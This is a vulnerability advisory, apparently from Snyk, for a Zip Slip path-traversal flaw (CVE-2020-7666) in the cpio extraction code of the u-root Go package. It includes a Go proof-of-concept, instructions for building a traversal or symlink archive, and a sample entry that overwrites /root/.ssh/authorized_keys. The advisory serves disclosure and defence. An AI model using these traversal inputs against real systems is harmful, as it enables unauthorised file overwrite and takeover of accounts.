Arbitrary File Write via Archive Extraction (Zip Slip)

Affecting github.com/u-root/u-root/pkg/cpio package, versions *

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Overview

github.com/u-root/u-root/pkg/cpio is a package that provides Go versions of standard Linux tools and bootloaders. It also provides tools for compiling Go programs in a single binary and creating initramfs images.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is vulnerable to leading, non-leading relative path traversal attacks and symlink based (relative and absolute) path traversal attacks in cpio file extraction.

PoC

poc.go:

package main

import (
    "io"
    "log"
    "os"
    "github.com/u-root/u-root/pkg/cpio"
)


func main() {
    archiver, err := cpio.Format("newc")
    if err != nil {
        log.Fatalf("Format -H newc not supported: %v", err)
    }

    var inums map[uint64]string
    inums = make(map[uint64]string)

    rr := archiver.Reader(os.Stdin)
    for {
        rec, err := rr.ReadRecord()
        if err == io.EOF {
            break
        }
        if err != nil {
            log.Fatalf("error reading records: %v", err)
        }

        if rec.Info.FileSize == 0 {
            if _, ok := inums[rec.Info.Ino]; ok {
                err := os.Link(inums[rec.Info.Ino], rec.Name)
                if err != nil {
                    log.Fatal(err)
                }
                continue
            }
        }
        inums[rec.Info.Ino] = rec.Name
        if err := cpio.CreateFile(rec); err != nil {
            log.Printf("Creating %q failed: %v", rec.Name, err)
        }
    }
}
  • Build the executable go build poc.go
  • Run ./poc < archive.cpio with "archive.cpio" being a cpio archive that includes at least one of the following:
  1. file with filepath that uses leading or non-leading "../"
  2. file symlink that point outside of the current directory (relative or absolute)
  3. directory symlink that point outside of the current directory (relative or absolute) followed by a file under that directory

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

There is no fixed version for github.com/u-root/u-root/pkg/cpio.

References

CVSS Score

7.5
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    High
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Credit
Georgios Gkitsas of Snyk Security Team
CVE
CVE-2020-7666
CWE
CWE-22
Snyk ID
SNYK-GOLANG-GITHUBCOMUROOTUROOTPKGCPIO-570440
Disclosed
01 Sep, 2020
Published
01 Sep, 2020